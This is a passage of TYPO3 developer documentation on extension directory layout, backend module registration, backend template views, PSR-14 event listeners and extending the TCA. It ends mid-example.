Contains the extension documentation in ReStructuredText (ReST, .rst) format. Read more on the topic in chapter extension documentation. Documentation/ and its sub folders may contain several ReST files, images and other resources.

Resources

Contains the sub folders Public/ and Private/, which contain resources, possibly in further subfolders.

Only files in the folder Public/ should be publicly accessible. All resources that only get accessed by the web server (templates, language files, etc.) go to the folder Private/.

Private

Resources/Private/Layouts
Main layouts for (Fluid) views.
Resources/Private/Partials
Partial templates for repetitive use.
Resources/Private/Templates
One template per action, stored in a folder named after each Controller.

Language

Contains Language resources.

In the folder EXT:my_extension/Resources/Private/Languages/ language files are stored in format .xlf.

This folder contains all language labels supplied by the extension in the default language English.

If the extension should provide additional translations into custom languages, they can be stored in language files of the same name with a language prefix. The German translation of the file locallang.xlf must be stored in the same folder in a file called de.locallang.xlf, the French translation in fr.locallang.xlf. If the translations are stored in a different file name they will not be found.

Any arbitrary file name with ending .xlf can be used. The following file names are commonly used:

locallang.xlf

This file commonly contains translated labels to be used in the frontend.

In the templates of Extbase plugins all labels in the file EXT:my_extension/Resources/Private/Language/locallang.xlf can be accessed without using the complete path:

EXT:my_extension/Resources/Private/Templates/MyTemplate.html
<f:translate key="key1" extensionName="MyExtension"/>
Copied!

From other template contexts the labels can be used by using the complete LLL:EXT path:

EXT:my_extension/Resources/Private/Templates/MyTemplate.html
<f:translate key="LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:key1" />
Copied!

The documentation for the ViewHelper can be found at Translate ViewHelper <f:translate>.

Language labels to be used in PHP, TypoScript etc must also be prefixed with the complete path.

locallang_db.xlf

By convention, the file EXT:my_extension/Resources/Private/Language/locallang_db.xlf should contain all localized labels used for the TCA labels, descriptions etc.

These labels need to be always accessed by their complete path in the TCA configuration:

EXT:examples/Configuration/TCA/tx_examples_dummy.php
return [
   'ctrl' => [
       'title' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tx_examples_dummy',
       // ...
   ],
   // ...
];
Copied!

Public

Public assets

Public assets used in extensions (files that should be delivered by the web server) must be located in the Resources/Public folder of the extension.

Deprecated since version 11.5

Having public assets in any but the folder Resources/Public has been deprecated with version 11.5.

Prevent access to non public files

No extension file outside the folder Resources/Public may be accessed from outside the web server.

This can be achieved by applying proper access restrictions on the web server. See: Restrict access to files on a server-level.

By using the Composer package helhum/typo3-secure-web <https://github.com/helhum/typo3-secure-web> all files except those that should be publicly available can be stored outside the servers web root.

Resources/Public/Icons/Extension.svg

Alternatives: Resources/Public/Icons/Extension.png, Resources/Public/Icons/Extension.gif

These file names are reserved for th extension icon, which will be displayed in the extension manager.

It must be in format SVG (preferred), PNG or GIF and should have at least 16x16 pixels.

Common subfolders

Resources/Public/Css
Any CSS file used by the extension.
Resources/Public/Images
Any images used by the extension.
Resources/Public/JavaScript
Any JS file used by the extension.

Tests

This folder contains all automatic Tests to test the extension.

Read more about automatic testing

Tests/Unit
Contains unit tests and fixtures.
Tests/Functional
Contains functional tests and fixtures.

Howto

Helps you kickstart your own extension or sitepackage. Explains how to publish an extension. Contains howto for different situations like creating a frontend plugin, a backend module or to extend existing TCA.

Backend modules

TYPO3 offers a number of ways to attach custom functionality to the backend. They are described in this chapter.

GENERAL

CREATING BACKEND MODULES WITH EXTBASE

CREATING BACKEND MODULES WITHOUT EXTBASE

TUTORIALS

Backend interface

The backend interface is essentially driven by the "backend" system extension and extended by many other system extensions.

It is divided into the following main areas:

An overview of the visual structure of the backend

Top bar

The top bar is always present. It is itself divided into two areas: the logo and top bar tools.

The logo can be changed using the $GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS']['backend']['backendLogo'] option. Additional top bar tools can be registered using $GLOBALS['TYPO3_CONF_VARS']['BE']['toolbarItems'] .

Module menu

This is the main navigation. All modules are structured in main modules (which can be collapsed) and submodules which is where the action really happens.

The module menu can be opened or closed by using the icon on the top left.

New main or submodules are registered using the \TYPO3\CMS\Extbase\Utility\ExtensionUtility::registerModule() API.

Navigation frame

Any backend module may have a navigation frame or not. This frame will typically display the page tree or the folder tree, but custom navigation frames are possible.

The current location (i.e. page or frame) is carried over between navigation frames when changing modules. This means, for example, that when you move from the Web > Page module to the Web > List module, the same page stays selected in the page tree.

Docheader
This part is always located above the Content area. It will generally contain a drop-down menu called the "Function menu", which allows to navigate into the various functions offered by the module. When editing it will also contain all the buttons necessary for saving, closing or reverting. It may contain additional buttons for shortcuts or any specific feature needed by the module.
Content area
This is the actual work area. Any information to show or content to edit will be displayed here.
Contextual menus

(Right) clicking on record icons will often reveal a contextual menu. New functions can be added to the contextual menus, but the mechanisms vary: the page tree behaves differently than the rest of the backend.

A typical contextual menu appears when clicking on a record icon

View registered modules

When modules are registered, they get added to a global array called $GLOBALS['TBE_MODULES']. It contains the list of all registered modules, their configuration and the configuration of any existing navigation component (the components which may be loaded into the navigation frame).

$GLOBALS['TBE_MODULES'] can be explored using the System > Configuration module.

Exploring the TBE_MODULES array using the Configuration module

The list of modules is parsed by the class \TYPO3\CMS\Backend\Module\ModuleLoader .

Backend module API

As for frontend plugins, you can use Fluid templates to create the view and controller actions for the functionality.

Adding new modules

Modules added by extensions are registered in the file ext_tables.php using the following API:

Based on Extbase:

// Module System > Backend Users
\TYPO3\CMS\Extbase\Utility\ExtensionUtility::registerModule(
    'Beuser',
    'system',
    'tx_Beuser',
    'top',
    [
        \TYPO3\CMS\Beuser\Controller\BackendUserController::class => 'index, show, addToCompareList, removeFromCompareList, removeAllFromCompareList, compare, online, terminateBackendUserSession, initiatePasswordReset',
        \TYPO3\CMS\Beuser\Controller\BackendUserGroupController::class => 'index, addToCompareList, removeFromCompareList, removeAllFromCompareList, compare'
    ],
    [
        'access' => 'admin',
        'iconIdentifier' => 'module-beuser',
        'labels' => 'LLL:EXT:beuser/Resources/Private/Language/locallang_mod.xlf',
        'navigationComponentId' => 'TYPO3/CMS/Backend/PageTree/PageTreeElement',
        'inheritNavigationComponentFromMainModule' => false,
    ]
);
Copied!

Here the module tx_Beuser is declared as a submodule of the already existing main module system.

Parameters:

  1. The first argument contains the extension name (in UpperCamelCase) or the extension key (in lower_underscore). Since TYPO3 v10.0, you should no longer prepend the vendor name here, see Deprecation: #87550 - Use controller classes when registering plugins/modules.
  2. Main module name, in which the new module will be placed, for example 'web' or 'system'.
  3. Submodule key: This is an identifier for your new module.
  4. Position of the module: Here, the module should be placed at the top of the main module, if possible. If several modules are declared at the same position, the last one wins. The following positions are possible:

    • top: the module is prepended to the top of the submodule list
    • bottom or empty string: the module is appended to the end of the submodule list
    • before:<submodulekey>: the module is inserted before the submodule identified by <submodulekey>
    • after:<submodulekey>: the module is inserted after the submodule identified by <submodulekey>
  5. Allowed controller => action combinations. Since TYPO3 v10.0 you should use fully qualified class names here, see Deprecation: #87550 - Use controller classes when registering plugins/modules.
  6. Module configuration: The following options are available:

    • access: can contain several, separated by comma

      • systemMaintainer: the module is accessible to system maintainers only.
      • admin: the module is accessible to admins only
      • user: the module can be made accessible per user
      • group: the module can be made accessible per usergroup
    • Module iconIdentifier
    • A language file containing labels like the module title and description, for building the module menu and for the display of information in the About Modules module (found in the main help menu in the top bar). The LLL: prefix is mandatory here and is there for historical reasons.
    • Navigation component navigationComponentId - you can specify which navigation component you want to use, for example TYPO3/CMS/Backend/PageTree/PageTreeElement for a page tree or TYPO3/CMS/Backend/Tree/FileStorageTreeContainer for a folder tree. If you don't want to show a navigation component at all you can either set this to an empty string or not declare it at all. In case the main module (e.g. "web") has a navigationComponent defined by default you'll have to also set 'inheritNavigationComponentFromMainModule' => false.

Configuration with TypoScript

Backend modules can, like frontend plugins, be configured via TypoScript. While the frontend plugins are configured with plugin.tx_[pluginkey], for the configuration of the backend module.tx_[pluginkey] is used.

Example for configuring the paths of Fluid files:

module.tx_example {
    view {
        templateRootPaths {
            10 = EXT:example/Resources/Private/Backend/Templates/
        }
        layoutRootPaths {
           10 = EXT:example/Resources/Private/Backend/Layouts/
        }
    }
}
Copied!

Without Extbase:

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addModule(
    'random',
    'filerelatedmodule',
    'top',
    null,
    [
        'navigationComponentId' => 'TYPO3/CMS/Backend/Tree/FileStorageTreeContainer',
        'routeTarget' => \MyVendor\MyExtension\Controller\FileRelatedController::class . '::indexAction',
        'access' => 'user,group',
        'name' => 'myext_file',
        'icon' => 'EXT:myextension/Resources/Public/Icons/module-file-related.svg',
        'labels' => 'LLL:EXT:myextension/Resources/Private/Language/Modules/file_related.xlf'
    ]
);
Copied!

Parameters:

  1. Main module name, in which the new module will be placed, for example 'web' or 'system'.
  2. Submodule key: This is an identifier for your new module.
  3. Position of the module: Here, the module should be placed at the top of the main module, if possible. If several modules are declared at the same position, the last one wins. The following positions are possible:

    • top: the module is prepended to the top of the submodule list
    • bottom or empty string: the module is appended to the end of the submodule list
    • before:<submodulekey>: the module is inserted before the submodule identified by <submodulekey>
    • after:<submodulekey>: the module is inserted after the submodule identified by <submodulekey>
  4. Path: Was used prior to TYPO3 v8, use $moduleConfiguration[routeTarget] now and set path to null.
  5. Module configuration: The following options are available:

    • access: can contain several, separated by comma

      • systemMaintainer: the module is accessible to system maintainers only.
      • admin: the module is accessible to admins only
      • user: the module can be made accessible per user
      • group: the module can be made accessible per usergroup
    • Module iconIdentifier or icon
    • A language file containing labels like the module title and description, for building the module menu and for the display of information in the Help > About Modules module (found in the main help menu in the top bar). The LLL: prefix is mandatory here and is there for historical reasons.
    • Navigation component navigationComponentId - you can specify which navigation component you want to use, for example TYPO3/CMS/Backend/PageTree/PageTreeElement for a page tree or TYPO3/CMS/Backend/Tree/FileStorageTreeContainer for a folder tree. If you don't want to show a navigation component at all you can either set this to an empty string or not declare it at all. In case the main module (e.g. "web") has a navigationComponent defined by default you'll have to also set 'inheritNavigationComponentFromMainModule' => false.
    • A routeTarget indicating the controller/action-combination to be called when accessing this module.

'iconIdentifier' versus 'icon'

'iconIdentifier' is the better and more modern way to go. It should always be used for Core icons. Other icons however need to be registered first at the IconRegistry to create identifiers. Note that 'icon' still works. Within custom packages it is easier to use. Example:

'icon' => 'EXT:extkey/Resources/Public/Icons/smile.svg',
Copied!

Registering a toplevel module

Toplevel modules like "Web" or "File" are registered with the same API. The following example uses Extbase to register the module, however, the process for non-extbase modules is the same.

EXT:my_extension/ext_tables.php
\TYPO3\CMS\Extbase\Utility\ExtensionUtility::registerModule(
    'MyExtension',
    'mysection',
    '',
    '',
    [],
    [
        'access' => '...',
        'iconIdentifier' => '...',
        'labels' => '...',
    ]
);
Copied!

This adds a new toplevel module mysection. This identifier can now be used to add submodules to this new toplevel module:

EXT:my_extension/ext_tables.php
\TYPO3\CMS\Extbase\Utility\ExtensionUtility::registerModule(
    'MyExtension',
    'mymodule1',
    'mysection',
    '',
    [],
    [
        'access' => '...',
        'labels' => '...'
    ]
);
Copied!

$TBE_MODULES

When modules are registered, they get added to a global array called $GLOBALS['TBE_MODULES']. It contains the list of all registered modules, their configuration and the configuration of any existing navigation component (the components which may be loaded into the navigation frame).

$GLOBALS['TBE_MODULES'] can be explored using the System > Configuration module.

Exploring the TBE_MODULES array using the Configuration module

The list of modules is parsed by the class \TYPO3\CMS\Backend\Module\ModuleLoader .

Backend Template View (Extbase)

Deprecated since version 11.5

The general view class \TYPO3\CMS\Backend\View\BackendTemplateView has been deprecated with v11.5. Use the \TYPO3\CMS\Backend\Template\ModuleTemplateFactory instead to retrieve a ModuleTemplate. See Deprecation: #95164 - ext:backend BackendTemplateView for more information.

Modern backend modules can be written using the Extbase/Fluid combination.

The factory \TYPO3\CMS\Backend\Template\ModuleTemplateFactory can be used to retrieve the \TYPO3\CMS\Backend\Template\ModuleTemplate class which is - more or less - the old backend module template, cleaned up and refreshed. This class performs a number of basic operations for backend modules, like loading base JS libraries, loading stylesheets, managing a flash message queue and - in general - performing all kind of necessary setups.

To access these resources, inject the \TYPO3\CMS\Backend\Template\ModuleTemplateFactory into your backend module controller:

// use TYPO3\CMS\Backend\Template\ModuleTemplateFactory;
// use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;
class MyController extends ActionController
{
    protected ModuleTemplateFactory $moduleTemplateFactory;

    public function __construct(
        ModuleTemplateFactory $moduleTemplateFactory
    ) {
        $this->moduleTemplateFactory = $moduleTemplateFactory;
    }
}
Copied!

After that you can add titles, menus and buttons using ModuleTemplate:

// use Psr\Http\Message\ResponseInterface
public function myAction(): ResponseInterface
{
    $this->view->assign('someVar', 'someContent');
    $moduleTemplate = $this->moduleTemplateFactory->create($this->request);
    // Adding title, menus, buttons, etc. using $moduleTemplate ...
    $moduleTemplate->setContent($this->view->render());
    return $this->htmlResponse($moduleTemplate->renderContent());
}
Copied!

Using this ModuleTemplate class, the Fluid templates for your module need only take care of the actual content of your module. As such, the Layout may be as simple as (again from "beuser"):

typo3/sysext/beuser/Resources/Private/Layouts/Default.html
<f:render section="Content" />
Copied!

and the actual Template needs to render the title and the content only. For example, here is an extract of the "Index" action template of the "beuser" extension:

typo3/sysext/beuser/Resources/Private/Templates/BackendUser/Index.html
<html
   xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"
   xmlns:core="http://typo3.org/ns/TYPO3/CMS/Core/ViewHelpers"
   xmlns:be="http://typo3.org/ns/TYPO3/CMS/Backend/ViewHelpers"
   data-namespace-typo3-fluid="true">

   <f:layout name="Default" />

   <f:section name="Content">
       <h1><f:translate key="backendUserListing" /></h1>
       ...
   </f:section>

</html>
Copied!

The best resources for learning is to look at existing modules from TYPO3. With the information given here, you should be able to find your way around the code.

Backend module API (Extbase)

As for frontend plugins, you can use Fluid templates to create the view and controller actions for the functionality.

Adding new modules

Modules added by extensions are registered in the file ext_tables.php using the following API:

EXT:my_extension/ext_tables.php
// Module System > Backend Users
\TYPO3\CMS\Extbase\Utility\ExtensionUtility::registerModule(
    'Beuser',
    'system',
    'tx_Beuser',
    'top',
    [
        \TYPO3\CMS\Beuser\Controller\BackendUserController::class => 'index, show, addToCompareList, removeFromCompareList, removeAllFromCompareList, compare, online, terminateBackendUserSession, initiatePasswordReset',
        \TYPO3\CMS\Beuser\Controller\BackendUserGroupController::class => 'index, addToCompareList, removeFromCompareList, removeAllFromCompareList, compare'
    ],
    [
        'access' => 'admin',
        'iconIdentifier' => 'module-beuser',
        'labels' => 'LLL:EXT:beuser/Resources/Private/Language/locallang_mod.xlf',
        'navigationComponentId' => 'TYPO3/CMS/Backend/PageTree/PageTreeElement',
        'inheritNavigationComponentFromMainModule' => false,
    ]
);
Copied!

Here the module tx_Beuser is declared as a submodule of the already existing main module system.

Parameters:

  1. The first argument contains the extension name (in UpperCamelCase) or the extension key (in lower_underscore). Since TYPO3 v10.0, you should no longer prepend the vendor name here, see Deprecation: #87550 - Use controller classes when registering plugins/modules.
  2. Main module name, in which the new module will be placed, for example 'web' or 'system'.
  3. Submodule key: This is an identifier for your new module.
  4. Position of the module: Here, the module should be placed at the top of the main module, if possible. If several modules are declared at the same position, the last one wins. The following positions are possible:

    • top: the module is prepended to the top of the submodule list
    • bottom or empty string: the module is appended to the end of the submodule list
    • before:<submodulekey>: the module is inserted before the submodule identified by <submodulekey>
    • after:<submodulekey>: the module is inserted after the submodule identified by <submodulekey>
  5. Allowed controller => action combinations. Since TYPO3 v10.0 you should use fully qualified class names here, see Deprecation: #87550 - Use controller classes when registering plugins/modules.
  6. Module configuration: The following options are available:

    • access: can contain several, separated by comma

      • systemMaintainer: the module is accessible to system maintainers only.
      • admin: the module is accessible to admins only
      • user: the module can be made accessible per user
      • group: the module can be made accessible per usergroup
    • Module iconIdentifier
    • A language file containing labels like the module title and description, for building the module menu and for the display of information in the Help > About Modules module (found in the main help menu in the top bar). The LLL: prefix is mandatory here and is there for historical reasons.
    • Navigation component navigationComponentId - you can specify which navigation component you want to use, for example TYPO3/CMS/Backend/PageTree/PageTreeElement for a page tree or TYPO3/CMS/Backend/Tree/FileStorageTreeContainer for a folder tree. If you don't want to show a navigation component at all you can either set this to an empty string or not declare it at all. In case the main module (e.g. "web") has a navigationComponent defined by default you'll have to also set 'inheritNavigationComponentFromMainModule' => false.

Configuration with TypoScript

Backend modules can, like frontend plugins, be configured via TypoScript. While the frontend plugins are configured with plugin.tx_[pluginkey], for the configuration of the backend module.tx_[pluginkey] is used.

Example for configuring the paths of Fluid files:

module.tx_example {
    view {
        templateRootPaths {
            10 = EXT:example/Resources/Private/Backend/Templates/
        }
        layoutRootPaths {
           10 = EXT:example/Resources/Private/Backend/Layouts/
        }
    }
}
Copied!

Register a toplevel module (Extbase)

This page describes how to register a toplevel menu with extbase.

Toplevel modules like "Web" or "File" are registered with the same API:

ext_tables.php:

EXT:my_extension/ext_tables.php
\TYPO3\CMS\Extbase\Utility\ExtensionUtility::registerModule(
    'MyExtension',
    'mysection',
    '',
    '',
    [],
    [
        'access' => '...',
        'iconIdentifier' => '...',
        'labels' => '...',
    ]
);
Copied!

This adds a new toplevel module mysection. This identifier can now be used to add submodules to this new toplevel module:

EXT:my_extension/ext_tables.php
\TYPO3\CMS\Extbase\Utility\ExtensionUtility::registerModule(
    'MyExtension',
    'mymodule1',
    'mysection',
    '',
    [],
    [
        'access' => '...',
        'labels' => '...'
    ]
);
Copied!

The Backend Template View (core)

This page covers the backend template view, using only core functionality without Extbase.

Basic controller

When creating a controller without Extbase an instance of ModuleTemplate is required to return the rendered template:

class ListController
{
    protected StandaloneView $view;
    protected ModuleTemplate $moduleTemplate;

    /**
     * Constructor Method
     *
     * @param ModuleTemplate $moduleTemplate
     */
    public function __construct(ModuleTemplate $moduleTemplate = null)
    {
        $this->view = GeneralUtility::makeInstance(StandaloneView::class);
        $this->moduleTemplate = $moduleTemplate ?? GeneralUtility::makeInstance(ModuleTemplate::class);
    }

   // ...
}
Copied!

Main entry point

handleRequest() method is the main entry point which triggers only the allowed actions. This makes it possible to include e.g. Javascript for all actions in the controller.

public function handleRequest(ServerRequestInterface $request): ResponseInterface
{
   $action = (string)($request->getQueryParams()['action'] ?? $request->getParsedBody()['action'] ?? 'index');

   /**
    * Define allowed actions
    */
   if (!in_array($action, ['index'], true)) {
      return new HtmlResponse('Action not allowed', 400);
   }

   /**
    * Configure template paths for your backend module
    */
   $this->view->setTemplateRootPaths(['EXT:extension_key/Resources/Private/Templates/List']);
   $this->view->setPartialRootPaths(['EXT:extension_key/Resources/Private/Partials/']);
   $this->view->setLayoutRootPaths(['EXT:extension_key/Resources/Private/Layouts/']);
   $this->view->setTemplate($action);

   /**
    * Call the passed in action
    */
   $result = $this->{$action . 'Action'}($request);

   if ($result instanceof ResponseInterface) {
      return $result;
   }

   /**
    * Render template and return html content
    */
   $this->moduleTemplate->setContent($this->view->render());
   return new HtmlResponse($this->moduleTemplate->renderContent());
}
Copied!

Actions

Now create an indexAction() and assign variables to your view as you would normally do

public function indexAction()
{
  $this->setDocHeader('index');

  $this->view->assignMultiple(
      [
          'some-variable' => 'some-value',
      ]
  );
}
Copied!

The DocHeader

To add a DocHeader button use $this->moduleTemplate->getDocHeaderComponent()->getButtonBar() and makeLinkButton() to create the button. Finally use addButton() to add it.

private function setDocHeader(string $active) {
   $buttonBar = $this->moduleTemplate->getDocHeaderComponent()->getButtonBar();
   $list = $buttonBar->makeLinkButton()
      ->setHref('<uri-builder-path>')
      ->setTitle('A Title')
      ->setShowLabelText('Link')
      ->setIcon($this->moduleTemplate->getIconFactory()->getIcon('actions-extension-import', Icon::SIZE_SMALL));
   $buttonBar->addButton($list, ButtonBar::BUTTON_POSITION_LEFT, 1);
}
Copied!

Template example

Default layout

<html
   xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"
   xmlns:be="http://typo3.org/ns/TYPO3/CMS/Backend/ViewHelpers"
   xmlns:core="http://typo3.org/ns/TYPO3/CMS/Core/ViewHelpers"
   data-namespace-typo3-fluid="true">

   <f:render section="content" />
</html>
Copied!

Index template

<f:layout name="Default" />

<f:section name="content">
    ...
</f:section>
Copied!

Backend module API (core)

This page covers registering backend modules without Extbase, using core functionality only.

ext_tables.php:

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addModule(
    'random',
    'filerelatedmodule',
    'top',
    null,
    [
        'navigationComponentId' => 'TYPO3/CMS/Backend/Tree/FileStorageTreeContainer',
        'routeTarget' => \MyVendor\MyExtension\Controller\FileRelatedController::class . '::handleRequest',
        'access' => 'user,group',
        'name' => 'myext_file',
        'icon' => 'EXT:myextension/Resources/Public/Icons/module-file-related.svg',
        'labels' => 'LLL:EXT:myextension/Resources/Private/Language/Modules/file_related.xlf'
    ]
);
Copied!

Parameters:

  1. Main module name, in which the new module will be placed, for example 'web' or 'system'.
  2. Submodule key: This is an identifier for your new module.
  3. Position of the module: Here, the module should be placed at the top of the main module, if possible. If several modules are declared at the same position, the last one wins. The following positions are possible:

    • top: the module is prepended to the top of the submodule list
    • bottom or empty string: the module is appended to the end of the submodule list
    • before:<submodulekey>: the module is inserted before the submodule identified by <submodulekey>
    • after:<submodulekey>: the module is inserted after the submodule identified by <submodulekey>
  4. Path: Was used prior to TYPO3 v8, use $moduleConfiguration[routeTarget] now and set path to null.
  5. Module configuration: The following options are available:

    • access: can contain several, separated by comma

      • systemMaintainer: the module is accessible to system maintainers only.
      • admin: the module is accessible to admins only
      • user: the module can be made accessible per user
      • group: the module can be made accessible per usergroup
    • Module iconIdentifier or icon
    • A language file containing labels like the module title and description, for building the module menu and for the display of information in the Help > About Modules module (found in the main help menu in the top bar). The LLL: prefix is mandatory here and is there for historical reasons.
    • Navigation component navigationComponentId - you can specify which navigation component you want to use, for example TYPO3/CMS/Backend/PageTree/PageTreeElement for a page tree or TYPO3/CMS/Backend/Tree/FileStorageTreeContainer for a folder tree. If you don't want to show a navigation component at all you can either set this to an empty string or not declare it at all. In case the main module (e.g. "web") has a navigationComponent defined by default you'll have to also set 'inheritNavigationComponentFromMainModule' => false.
    • A routeTarget indicating the controller/action-combination to be called when accessing this module.

'iconIdentifier' versus 'icon'

'iconIdentifier' is the better and more modern way to go. It should always be used for Core icons. Other icons however need to be registered first at the IconRegistry to create identifiers. Note that 'icon' still works. Within custom packages it is easier to use. Example:

'icon' => 'EXT:extkey/Resources/Public/Icons/smile.svg',
Copied!

Tutorials

Tutorial - Backend Module Registration - Part 1

Susanne Moog demonstrates how to register a TYPO3 backend module. The backend module is based on a regular TYPO3 installation. Extbase is not used.

In this video dependency injection is achieved via Constructor Promotion.

Additionally Named arguments <https://www.php.net/manual/en/functions.arguments.php#functions.named-arguments> are used in the example.

These features are available starting with PHP 8.0. With TYPO3 v11.5 it is still possible to use PHP 7.4. So either require php 8.0 and above in your composer.json or use a normal constructor for the dependency injection and refrain from using named arguments.

Tutorial - Backend Module Registration - Part 2

Susanne Moog shows you how to create a TYPO3 backend module that looks and behaves like other backend modules and uses the Fluid templating engine for its content.

Events

PSR-14 events can be used to extend the TYPO3 Core or third-party extensions.

You can find a complete list of events provided by the TYPO3 Core in the following chapter: Event list.

Events provided by third-party extensions should be described in the extension's manual. You can also search for events by looking for classes that inject the EventDispatcherInterface

Listen to an event

If you want to use an event provided by the Core or a third-party extension, create a PHP class with a method __invoke(SomeCoolEvent $event) that accepts an object of the event class as argument. It is possible to use another method name but you have to configure the name in the Configuration/Services.yaml or it is not found.

It is best practice to use a descriptive class name and to put it in the namespace \MyVendor\MyExtension\EventListener.

<?php
// EXT:my_extension/Classes/EventListener/Joh316PasswordInvalidator.php
declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\FrontendLogin\Event\PasswordChangeEvent;

/**
 * The password 'joh316' was historically used as default password for
 * the TYPO3 install tool.
 * Today this password is an unsecure choice as it is well-known, too short
 * and does not contain capital letters or special characters.
 */
final class Joh316PasswordInvalidator
{
    public function __invoke(PasswordChangeEvent $event): void
    {
        if ($event->getRawPassword() === 'joh316') {
            $event->setAsInvalid('This password is not allowed');
        }
    }
}
Copied!

Then register the event in your extension's Configuration/Services.yaml:

# EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false
  # ...
  MyVendor\MyExtension\EventListener\Joh316PasswordInvalidator:
    tags:
      - name: event.listener
        identifier: 'myJoh316PasswordInvalidator'
Copied!

Additionally, the Configuration/Services.yaml file allows to define a different method name for the event listener class and to influence the order in which events are loaded. See Registering the event listener for details.

Dispatch an event

You can dispatch events in your own extension's code to enable other extensions to extend your code. Events are the preferred method of making code in TYPO3 extensions extendable.

See Event Dispatcher, Quickstart on how to create a custom event and dispatch it.

Extending the TCA array

Being a PHP array, the Table Configuration Array can be easily extended. It can be accessed as the global variable $GLOBALS['TCA'] . TYPO3 also provides APIs for making this simpler.

Storing the changes

There are various ways to store changes to $GLOBALS['TCA'] . They depend - partly - on what you are trying to achieve and - a lot - on the version of TYPO3 which you are targeting. The TCA can only be changed from within an extension.

Storing in extensions

The advantage of putting your changes inside an extension is that they are nicely packaged in a self-contained entity which can be easily deployed on multiple servers.

The drawback is that the extension loading order must be finely controlled. However, in case you are modifying Core TCA, you usually don't have to worry about that. Since custom extensions are always loaded after the Core's TCA, changes from custom extensions will usually take effect without any special measures.

For more information about an extension's structure, please refer to the extension architecture chapter.

Storing in the Overrides/ folder

Changes to $GLOBALS['TCA'] must be stored inside a folder called Configuration/TCA/Overrides/. For clarity files should be named along the pattern <tablename>.php.

Thus, if you want to customize the TCA of tx_foo_domain_model_bar, you need to create the file Configuration/TCA/Overrides/tx_foo_domain_model_bar.php.

The advantage of this method is that all such changes are incorporated into $GLOBALS['TCA'] before it is cached. This is thus far more efficient.

Changing the TCA "on the fly"

It is also possible to perform some special manipulations on $GLOBALS['TCA'] right before it is stored into cache, thanks to the PSR-14 event AfterTcaCompilationEvent.

Customization Examples

Many extracts can be found throughout the manual, but this section provides more complete examples.

Example 1: Extending the fe_users table

The "examples" extension adds two fields to the "fe_users" table. Here's the complete code, taken from file Configuration/TCA/Overrides/fe_users.php:

<?php
defined('TYPO3') or die();

// Add some fields to fe_users table to show TCA fields definitions
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTCAcolumns('fe_users',
   [
      'tx_examples_options' => [
         'exclude' => 0,
         'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options',
         'config' => [
            'type' => 'select',
            'renderType' => 'selectSingle',
            'items' => [
               ['',0,],
               ['LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options.I.0',1,],
               ['LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options.I.1',2,],
               ['LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options.I.2','--div--',],
               ['LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_options.I.3',3,],
            ],
            'size' => 1,
            'maxitems' => 1,
         ],
      ],
      'tx_examples_special' => [
         'exclude' => 0,
         'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:fe_users.tx_examples_special',
         'config' => [
            'type' => 'user',
            // renderType needs to be registered in ext_localconf.php
            'renderType' => 'specialField',
            'parameters' => [
               'size' => '30',
               'color' => '#F49700',
            ],
         ],
      ],
   ]
);
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addToAllTCAtypes(
   'fe_users',
   'tx_examples_options, tx_examples_special'
);
Copied!

Read why the check for the TYPO3 constant is necessary.

In this example the first method call adds fields using ExtensionManagementUtility::addTCAcolumns(). This ensures that the fields are registered in $GLOBALS['TCA'] . Parameters:

  1. Name of the table to which the fields should be added.
  2. An array of the fields to be added. Each field is represented in the TCA syntax for columns.

Since the fields are only registered but not used anywhere, the fields are afterwards added to the "types" definition of the fe_users table by calling ExtensionManagementUtility::addToAllTCAtypes(). Parameters:

  1. Name of the table to which the fields should be added.
  2. Comma-separated string of fields, the same syntax used in the showitem property of types in TCA.
  3. Optional: record types of the table where the fields should be added, see types in TCA for details.
  4. Optional: position ( 'before' or 'after') in relation to an existing field.

So you could do this:

EXT:some_extension/Configuration/TCA/Overrides/fe_users.php
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addToAllTCAtypes(
   'fe_users',
   'tx_examples_options, tx_examples_special',
   '',
   'after:password'
);
Copied!

If the fourth parameter (position) is omitted or the specified field is not found, new fields are added at the bottom of the form. If the table uses tabs, new fields are added at the bottom of the Extended tab. This tab is created automatically if it does not exist.

These method calls do not create the corresponding fields in the database. The new fields must also be defined in the ext_tables.sql file of the extension:

EXT:some_extension/ext_tables.sql
CREATE TABLE fe_users (
	tx_examples_options int(11) DEFAULT '0' NOT NULL,
	tx_examples_special varchar(255) DEFAULT '' NOT NULL
);
Copied!

The following screen shot shows the placement of the two new fields when editing a "fe_users" record:

The new fields added at the bottom of the "Extended" tab

The next example shows how to place a field more precisely.

Example 2: Extending the tt_content Table

In the second example, we will add a "No print" field to all content element types. First of all, we add its SQL definition in ext_tables.sql:

EXT:some_extension/ext_tables.sql
CREATE TABLE tt_content (
	tx_examples_noprint tinyint(4) DEFAULT '0' NOT NULL
);
Copied!

Then we add it to the $GLOBALS['TCA'] in Configuration/TCA/Overrides/tt_content.php:

EXT:some_extension/Configuration/TCA/Overrides/tt_content.php
  \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTCAcolumns(
     'tt_content',
     [
        'tx_examples_noprint' => [
           'exclude' => 0,
           'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tt_content.tx_examples_noprint',
           'config' => [
              'type' => 'check',
              'renderType' => 'checkboxToggle',
              'items' => [
                 [
                    0 => '',
                    1 => ''
                 ]
              ],
           ],
        ],
     ]
  );
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addFieldsToPalette(
     'tt_content',
     'access',
     'tx_examples_noprint',
